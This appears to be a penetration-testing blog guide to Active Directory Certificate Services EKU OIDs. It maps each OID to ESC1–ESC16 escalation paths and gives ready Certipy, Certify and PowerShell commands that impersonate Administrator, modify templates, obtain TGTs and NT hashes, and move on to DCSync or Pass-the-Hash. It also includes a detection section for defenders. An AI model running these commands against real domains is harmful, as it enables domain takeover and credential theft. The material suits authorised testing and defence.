windows

EKU OID in ADCS: A Complete Guide to Active Directory Penetration Testing

EKU OID in ADCS: A Complete Guide to Active Directory Penetration Testing

All Active Directory certificate EKU OIDs explained from an offensive perspective: which ones to exploit in ESC1–ESC16, PKINIT attack flow, Event ID detection, FAQ and complete table with offensive relevance.

  • Posted on 2026-07-02
  • Reading time: 7 min

EKU OID ADCS: Identification and Abuse in Certificate Templates #

If you have ever read the output of certify.exe find o certipy find, you will have seen numbers like 1.3.6.1.5.5.7.3.2 next to entries like “Client Authentication”. Those numbers are called OID (Object Identifier) ​​and define what an X.509 certificate is used for. When attacking Active Directory, understanding which OIDs make a certificate template exploitable is the difference between finding a privilege escalation vector and overlooking it.

This guide covers all relevant OID EKUs in ADCS penetration testing — with a real attack flow, a reference table, practical examples with Certipy and Certify, a detection section to understand what the blue team sees, and operational FAQs.


TL;DR — Offensive EKU OIDs: quick reference #

If you're already in the middle of an engagement, this is the list you need:

OIDNameWhen it is dangerous
1.3.6.1.5.5.7.3.2Client Authentication+ ENROLLEE_SUPPLIES_SUBJECT → ESC1/ESC4
1.3.6.1.4.1.311.20.2.2Smart Card Logonrequired for PKINIT on many DCs
1.3.6.1.5.2.3.4PKINIT Client Authenticationequivalent to Client Auth for PKINIT
1.3.6.1.4.1.311.20.2.1Certificate Request Agentenrollment on-behalf-of → ESC3
2.5.29.37.0Any Purposeany use, including enrollment agent → ESC2
1.3.6.1.4.1.311.10.12.1Any Application Policyequivalent to Any Purpose
no EKUImplicit SubCASign arbitrary certificates → ESC2
1.3.6.1.5.5.7.3.1Server Authenticationonly on template V1 → ESC15

The other OIDs (EFS, IPSec, S/MIME, Time Stamping, etc.) are not relevant to AD privilege escalation and are ignored in this guide.


What is an EKU OID #

EKU stands for Extended Key Usage (also Enhanced Key Usage in Microsoft—same thing, same abbreviation). It's an extension of the X.509 certificate that specifies the purposes for which the certificate can be used. Each purpose is identified by an OID —an internationally standardized hierarchical numeric string.

In Active Directory Certificate Services (ADCS), each certificate template has a list of EKUs configured via two distinct AD attributes:

pKIExtendedKeyUsage — the standard EKUs of the template

msPKI-Certificate-Application-Policy — the proprietary Microsoft Application Policy, which if present in the issued certificate overwrites the standard EKUs. This is the mechanism behind the ESC15.

To understand how these templates are exploited in the full context of ESC1–ESC16 attacks, read the complete guide to ADCS attacks on hackita.it.


Actual attack flow: from normal user to Domain Admin via certificates #

This is the typical path for an ADCS exploitation during an AD pentest. Each step depends on the OIDs in the template and their ACLs.

Phase 1 — Enumeration Accessible certificate templates and their EKUs are identified. Tool: certipy find, certify.exe find, certutil -catemplates.

Step 2 — Carrier Identification If the template has Client Authentication + ENROLLEE_SUPPLIES_SUBJECT + open enrollment → direct ESC1. If the template has GenericAll but the offending EKUs are missing → ESC4: you modify the template yourself. If the template has Any Purpose → ESC2, chain to ESC3.

Phase 3 — Cert request A certificate is required specifying the subject administrator@dominio.localThe SAN field is populated with the UPN of the target account.

Phase 4 — PKINIT / Authentication The PFX (cert + private key) is used to authenticate to the DC via Kerberos PKINIT. The DC validates the certificate, verifies the EKU (Client Authentication or Smart Card Logon), maps the SAN to the AD account, and issues a TGT.

Phase 5 — Post-exploitation With the TGT, you can use Pass-the-Ticket, DCSync, or log in directly via evil-winrm. Certipy also returns the NT hash of the account via UnPAC-the-hash, without touching LSASS.

text
low-priv user
    │
    ├─► certipy find / certify find
    │       └─► template con Client Auth + ENROLLEE_SUPPLIES_SUBJECT
    │
    ├─► certipy req -upn administrator@domain.local
    │       └─► CA emette cert per Administrator
    │
    ├─► certipy auth -pfx administrator.pfx
    │       └─► PKINIT → TGT + NT hash
    │
    └─► evil-winrm / psexec / DCSync
            └─► Domain Admin

If PKINIT fails, the fallback is Schannel over LDAPS: certipy auth -pfx administrator.pfx -ldap-shell.


EKU OID Complete Table — Offensive vs. Irrelevant #

Note: ESC mapping always depends on the combination of EKU + template flags (ENROLLEE_SUPPLIES_SUBJECT, CT_FLAG_NO_SECURITY_EXTENSION, etc.) + ACL. OIDs alone do not determine vulnerability—it's always the overall template configuration that matters.

OIDNameOffensive RelevanceESC related
1.3.6.1.5.5.7.3.1Server Authentication⬜ Not directESC15 (V1 only)
1.3.6.1.5.5.7.3.2Client Authentication🔴 CriticalESC1, ESC4
1.3.6.1.5.5.7.3.3Code Signing🟡 Contextualtrack signature
1.3.6.1.5.5.7.3.4Secure Email (S/MIME)⬜ Not relevant
1.3.6.1.5.5.7.3.5IPSec End System⬜ Not relevant
1.3.6.1.5.5.7.3.6IPSec Tunnel⬜ Not relevant
1.3.6.1.5.5.7.3.7IPSec User⬜ Not relevant
1.3.6.1.5.5.7.3.8Time Stamping⬜ Not relevant
1.3.6.1.5.5.7.3.9OCSP Signing⬜ Not relevant
1.3.6.1.5.2.3.4PKINIT Client Authentication🔴 CriticalESC1 alternative
1.3.6.1.4.1.311.20.2.2Smart Card Logon🔴 CriticalESC1, ESC4, PKINIT
1.3.6.1.4.1.311.20.2.1Certificate Request Agent🔴 CriticalESC3
1.3.6.1.4.1.311.10.3.1CTL Signing⬜ Not relevant
1.3.6.1.4.1.311.10.3.4EFS⬜ Not relevant
1.3.6.1.4.1.311.10.3.4.1EFS Recovery⬜ Not relevant
1.3.6.1.4.1.311.10.3.8Embedded NT Crypto⬜ Not relevant
1.3.6.1.4.1.311.10.3.11Key Recovery⬜ Not relevant
1.3.6.1.4.1.311.10.3.12Document Signing⬜ Not relevant
1.3.6.1.4.1.311.10.5.1DRM⬜ Not relevant
1.3.6.1.4.1.311.10.12.1Any Application Policy🔴 CriticalESC2
1.3.6.1.4.1.311.21.5CA Key Archival⬜ Not relevant
1.3.6.1.4.1.311.21.19DS Email Replication⬜ Not relevant
1.3.6.1.4.1.311.20.1Auto Enroll CTL⬜ Not relevant
1.3.6.1.5.5.8.2.2IKE Intermediate⬜ Not relevant
1.3.6.1.4.1.311.25.2szOID_NTDS_CA_SECURITY_EXT🟡 DefensiveESC9, ESC16
2.5.29.37.0Any Purpose🔴 CriticalESC2
no EKUImplicit SubCA🔴 CriticalESC2

Attack Matrix — EKU + condition → ESC #

EKU presentAdditional conditionExploitable ESC
Client Authentication+ ENROLLEE_SUPPLIES_SUBJECT + open enrollmentESC1
Client Authentication+ GenericAll on the template (to be added)ESC4
Any Purpose / No EKUopen enrollmentESC2
Certificate Request Agent+ target template for enroll-on-behalfESC3
Server Authentication (V1)+ ENROLLEE_SUPPLIES_SUBJECT + Application Policy injectionESC15
any Auth EKU+ CT_FLAG_NO_SECURITY_EXTENSIONESC9

Offensively Critical OIDs — Detailed Explanation #

1.3.6.1.5.5.7.3.2 — Client Authentication #

When the Domain Controller receives a certificate with this OID via Kerberos PKINIT, it uses it to map the identity in the SAN to an AD account and issue a TGT. It is the OID that enables passwordless authentication.

Combined with ENROLLEE_SUPPLIES_SUBJECT on a template accessible to normal users, allows you to request a certificate as administrator@dominio.htb ESC1 direct. If you have GenericAll on a template that does not have this OID, you can add it by transforming the situation into ESC4:

powershell
$EKUs = @("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2")
Set-ADObject "CN=Web,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=dominio,DC=htb" `
  -Add @{pKIExtendedKeyUsage=$EKUs;"msPKI-Certificate-Application-Policy"=$EKUs}

Original source of ADCS exploitation research: SpecterOps Certified Pre-Owned.


1.3.6.1.4.1.311.20.2.2 — Smart Card Logon #

Microsoft OID for smart card authentication. The KDC requires it in many configurations to support PKINIT. It is always added in conjunction with Client Authentication—some DCs verify both, others accept only one. In real-world environments, having both ensures maximum compatibility.

bash
certipy auth -pfx administrator.pfx -dc-ip <IP_DC>
# Se PKINIT fallisce:
certipy auth -pfx administrator.pfx -dc-ip <IP_DC> -ldap-shell

1.3.6.1.5.2.3.4 — PKINIT Client Authentication #

Reserved specifically for the PKINIT protocol. Functionally equivalent to Client Authentication for offensive purposes. Appears in custom configurations and cross-domain or cross-forest environments.


1.3.6.1.4.1.311.20.2.1 — Certificate Request Agent (Enrollment Agent) #

Anyone who owns a certificate with this OID can request certificates on behalf of other users. This is the basis of ESC3 , a two-stage attack that doesn't directly require ENROLLEE_SUPPLIES_SUBJECT:

bash
# Fase 1: ottieni il cert da Enrollment Agent
certipy req -u user@corp.local -p Password -ca CORP-CA -template ESC3_Template

# Fase 2: richiedi un cert per Administrator usando l'enrollment agent cert
certipy req -u user@corp.local -p Password -ca CORP-CA -template User \
  -on-behalf-of corp\\administrator -pfx enrollment_agent.pfx

2.5.29.37.0 / 1.3.6.1.4.1.311.10.12.1 — Any Purpose / Any Application Policy #

The most permissive. A certificate with these OIDs can be used for any purpose—client authentication, enrollment agent, signing. It's ESC2 . By itself, it doesn't impersonate other users like ESC1, but it opens the chain to ESC3:

bash
certipy find -u user@corp.local -p Password -dc-ip 10.10.10.10 -vulnerable
# cerca: Any Purpose: True

1.3.6.1.5.5.7.3.1 — Server Authentication and ESC15 #

By itself it does not allow impersonation of AD users. But on template V1 (schema version 1, as WebServer which is present by default in every ADCS installation), an attacker can inject arbitrary Application Policy into the cert request by adding Client Authentication — ESC15Patched by Microsoft in November 2024:

bash
certipy req -u user@corp.local -p Password -ca CORP-CA -template WebServer \
  -upn administrator@corp.local --application-policies 'Client Authentication'

The original research on ESC15 was published by TrustedSec.


1.3.6.1.4.1.311.25.2 — szOID_NTDS_CA_SECURITY_EXT #

It's not offensive—it's defensive. This extension contains the account SID in the certificate, introduced with KB5014754 in May 2022 for "strong certificate mapping." If a template has the flag CT_FLAG_NO_SECURITY_EXTENSION, this extension is omitted — making the cert exploitable in ESC9 even on patched DCs, because the DC fails to verify the strong cert-account binding.


No EKU (SubCA template) #

A template without an EKU is treated as a subordinate CA. The issued certificate can sign other certificates, including Domain Admin authentication certificates. Less common than ESC2 with Any Purpose, but equally dangerous and often ignored during audits.


How to enumerate EKUs in practice #

bash
# Da Kali — certipy (preferito, output JSON + txt)
certipy find -u user@domain.htb -p Password -dc-ip 10.10.10.10 -vulnerable -stdout

# Da Windows — certify (output leggibile, compatibile con SharpCollection)
.\Certify.exe find /vulnerable
.\Certify.exe find /template:NomeTemplate

# LOLBin nativo — zero rumore, nessun binario da caricare
certutil -catemplates
certutil -dump

# PowerShell — lettura diretta degli attributi LDAP del template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=NomeTemplate))"
$template = $searcher.FindOne().GetDirectoryEntry()
Write-Host "EKU: $($template.Properties['pKIExtendedKeyUsage'])"
Write-Host "App Policy: $($template.Properties['msPKI-Certificate-Application-Policy'])"

For the correlation of LDAP attributes with AD objects, see also the ldapsearch guide on hackita.it.


Detection – what the blue team sees #

Event ID 4886 — Certificate Services received a certificate request. Occurs on every request. By itself, it does not indicate an attack; it's the abnormal volume and the requester that matter.

Event ID 4887 — Certificate Services approved a certificate request and issued a certificate. Contains Requester, Subject and SAN. The main detection: the field SubjectAltName (SAN) does not match the account that made the request. This is a direct signal from ESC1, ESC3, and ESC4.

Event ID 4768 — Kerberos TGT requested. If PreAuthType = 16, indicates PKINIT (certificate-based authentication). A privileged account using PKINIT from an unusual workstation or for the first time is a high-priority alert.

Event ID 5136 — A directory service object was modified. This is generated when an attacker modifies the attributes of an AD template — typical of ESC4. The SIEM query: modify a pKIExtendedKeyUsage o msPKI-Certificate-Application-Policy from an account not in an administrative PKI group.

The most effective detection against ESC4 is Event ID 5136 correlated to the following 4887: template modification → certificate issuance with SAN different from the requester → alert.


FAQ #

Can I read the EKUs of an already issued certificate without additional tools? Yes - openssl x509 -in cert.cer -noout -text | grep -A5 "Extended Key" or on Windows double-click on the .cer file, Details tab, “Advanced Key Usage” item.

If a template has both Client Auth and Server Auth, is it automatically exploitable? No — it also serves ENROLLEE_SUPPLIES_SUBJECT enabled, enrollment open to non-privileged users, and no manager approval. EKUs alone do not cause the vulnerability.

What's the practical difference between EKU and Application Policy? Technically, they both use the same OIDs, but Application Policy is Microsoft's proprietary extension. If both are present in the issued certificate, Application Policy takes precedence—this is the mechanism used by ESC15 to bypass Server Authentication-only templates.

Certipy find -vulnerable It doesn't find anything, but I know there's a vector. Why? Certipy looks for existing misconfigurations. If you have GenericAll on a template that isn't yet ESC1 (ESC4), it won't find it until you edit the template. After editing, certipy find -vulnerable will identify it correctly.

After ESC4, do I need to reset the template? Yes — the template modified with Client Auth + ENROLLEE_SUPPLIES_SUBJECT becomes usable by any authenticated user in the domain. In production, restoring is mandatory. The command is the same. Set-ADObject but with -Remove instead of -Add.

PKINIT fails with KDC_ERR_PADATA_TYPE_NOSUPP. What do I do? There are two most common causes: the DC does not have a valid certificate installed with the Smart Card Logon EKU (typically on DCs without a Domain Controller Authentication template configured), or the CA that issued your certificate is not trusted by the DC. In both cases, the fallback is Schannel via LDAPS: certipy auth -pfx administrator.pfx -dc-ip <IP> -ldap-shellFrom there you can do DCSync rights, RBCD, or reset password via PassTheCert — without touching PKINIT.

certipy auth It also returns the NT hash. Can I use it directly? Yes — it's the result of UnPAC-the-hash. It works with Pass-the-Hash via psexec.py, evil-winrm, crackmapexec and any Impacket tool that accepts -hashes.


Related resources #

#adcs #active-directory

leave a message

I'm not a robot